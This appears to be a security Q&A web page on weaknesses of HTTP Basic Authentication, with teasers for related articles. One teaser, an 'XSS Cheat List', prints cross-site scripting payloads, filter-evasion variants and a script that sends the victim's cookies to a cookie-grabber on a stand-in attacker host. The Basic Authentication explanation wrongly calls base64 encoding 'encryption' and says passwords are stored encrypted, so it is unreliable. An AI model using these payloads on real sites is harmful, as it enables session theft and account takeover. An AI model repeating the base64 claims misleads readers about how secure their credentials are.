The Basic Authentication scheme uses the username and password and encrypts the password using base64 encoding. In spite of this, there are still many security holes in the Basic Authentication scheme. Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text format across the network. Hence, any attacker listening with a packet sniffer can easily read the username and password in plain text format. The username and password are passed with every request not just when the user first types them, so the packet sniffer need not listen at any particular time, but just long enough to observe any single request coming across the wire. Besides, the encryption used in the authentication is also very insecure and can be easily decoded.
What are the security holes in the Basic Authentication scheme?
Explore More
You’ve Hired a Hacker (Section 1)
Section 1: Basic Understanding 1.1: Won’t my hacker break into my computer and steal my trade secrets? Point of clarification. There are two communities of people that call themselves ‘hackers’.
XSS Cheat List
<script>alert(1);</script> <script>alert('XSS');</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script> <scr<script>ipt>alert('XSS');</scr</script>ipt> <script>alert(String.fromCharCode(88,83,83))</script> <img src=foo.png onerror=alert(/xssed/) /> <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> <marquee><script>alert('XSS')</script></marquee> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> "><script>alert(0)</script> <script src=http://yoursite.com/your_files.js></script> </title><script>alert(/xss/)</script> </textarea><script>alert(/xss/)</script>
Software Firewalls: Programs That Stop Hackers
A good software firewall for home users should have the following attributes: * It’s easy to configure. * It’s frugal with system resources so it doesn’t bog down the computer.